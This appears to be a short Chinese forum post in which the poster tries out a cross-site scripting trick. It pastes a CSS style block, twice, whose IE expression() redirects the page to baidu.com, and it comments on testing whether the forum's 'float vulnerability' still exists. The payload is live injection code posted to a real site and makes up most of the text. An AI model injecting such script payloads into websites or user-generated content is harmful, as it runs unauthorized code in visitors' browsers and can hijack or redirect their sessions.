<style type="text/css">
img
{
float=expression(document.location.href='http://www.baidu.com')
}
</style>


<img src=' '/>

试下 存在漏洞不= =

<style type="text/css">
img
{
float=expression(document.location.href='http://www.baidu.com')
}
</style>


<img src=' '/>

看到这种帖子 我就想试下float漏洞 ，不过 个人资料里面 已经禁用图片了